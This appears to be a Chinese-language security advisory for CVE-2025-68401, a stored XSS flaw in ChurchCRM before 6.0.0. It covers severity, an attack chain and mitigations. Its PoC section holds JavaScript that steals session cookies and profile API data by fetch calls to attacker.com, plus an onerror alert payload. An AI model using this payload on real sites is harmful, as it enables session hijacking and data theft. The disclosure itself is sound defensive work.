IPBUF安全漏洞报告
English
CVE-2025-68401 CVSS 4.8 中危

CVE-2025-68401 ChurchCRM 存储型XSS漏洞

披露日期: 2025-12-17

漏洞信息

漏洞编号
CVE-2025-68401
漏洞类型
存储型XSS
CVSS评分
4.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
ChurchCRM

相关标签

存储型XSSChurchCRM会话劫持CVE-2025-68401教会管理系统输入验证跨站脚本

漏洞概述

ChurchCRM是一款开源的教会管理系统。在6.0.0版本之前,该应用存在存储型跨站脚本(Stored XSS)漏洞。漏洞源于应用程序在存储用户提交的HTML/JavaScript内容时,未进行充分的消毒或编码处理。当其他用户访问或查看这些包含恶意脚本的内容时,攻击者注入的JavaScript代码将在受害者浏览器中执行。此漏洞可被利用来访问Web源数据、执行特权操作,或在会话Cookie未标记HttpOnly的情况下,通过document.cookie窃取用户会话信息,从而实现账户接管。攻击者需要具有高权限才能注入恶意内容,但任何查看该内容的用户都可能成为受害者。该漏洞已于6.0.0版本中修复。

技术细节

漏洞根源在于ChurchCRM对用户输入的HTML/JS内容缺乏有效的输入验证和输出编码。攻击者(需具有高权限)可在特定功能模块中注入包含恶意JavaScript的HTML内容。应用程序将该内容直接存储到数据库中,未进行XSS过滤。当其他用户浏览这些内容时,服务器将未经处理的内容直接返回给客户端浏览器。浏览器解析HTML时同时执行其中的JavaScript代码,实现XSS攻击。若目标用户会话Cookie未设置HttpOnly属性,攻击者可通过document.cookie获取会话令牌,进而伪造用户身份进行操作。攻击成功需要目标用户访问包含恶意内容的页面,且攻击者需具备内容提交权限。修复版本6.0.0增加了输入消毒和输出编码机制来防止此类攻击。

攻击链分析

STEP 1
步骤1
攻击者获取ChurchCRM的高权限账户(如管理员或具有内容编辑权限的账户)
STEP 2
步骤2
攻击者在支持富文本或HTML输入的功能模块中注入包含恶意JavaScript的Payload
STEP 3
步骤3
应用程序将恶意内容未经消毒直接存储到数据库
STEP 4
步骤4
其他用户访问或浏览包含恶意内容的页面
STEP 5
步骤5
服务器返回包含恶意脚本的页面,浏览器解析执行攻击者的JavaScript代码
STEP 6
步骤6
若Cookie未设置HttpOnly,攻击者通过document.cookie窃取会话令牌
STEP 7
步骤7
攻击者利用窃取的会话令牌实现账户接管或执行特权操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Stored XSS PoC for ChurchCRM CVE-2025-68401 --> <!-- Requires high privilege access to inject content --> <!-- Example: Inject malicious JavaScript via a field that accepts HTML --> <script> // Steal session cookie if HttpOnly is not set var cookie = document.cookie; // Send cookie to attacker controlled endpoint fetch('https://attacker.com/steal?cookie=' + encodeURIComponent(cookie)); // Alternative: Perform actions as the victim // Example: Make API calls to ChurchCRM endpoints fetch('/api/user/profile', { method: 'GET', credentials: 'include' }).then(response => response.json()).then(data => { // Exfiltrate user data fetch('https://attacker.com/exfil?data=' + encodeURIComponent(JSON.stringify(data))); }); </script> <!-- Simple alert PoC for verification --> <img src=x onerror="alert('Stored XSS - CVE-2025-68401')"> <!-- The injected script will execute when any user views the content -->

影响范围

ChurchCRM < 6.0.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 限制高权限账户的数量和分配;2) 启用Web应用防火墙(WAF)规则检测XSS攻击特征;3) 对关键功能启用双因素认证;4) 监控应用日志以检测异常的JavaScript注入行为;5) 考虑临时禁用允许HTML输入的功能模块。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表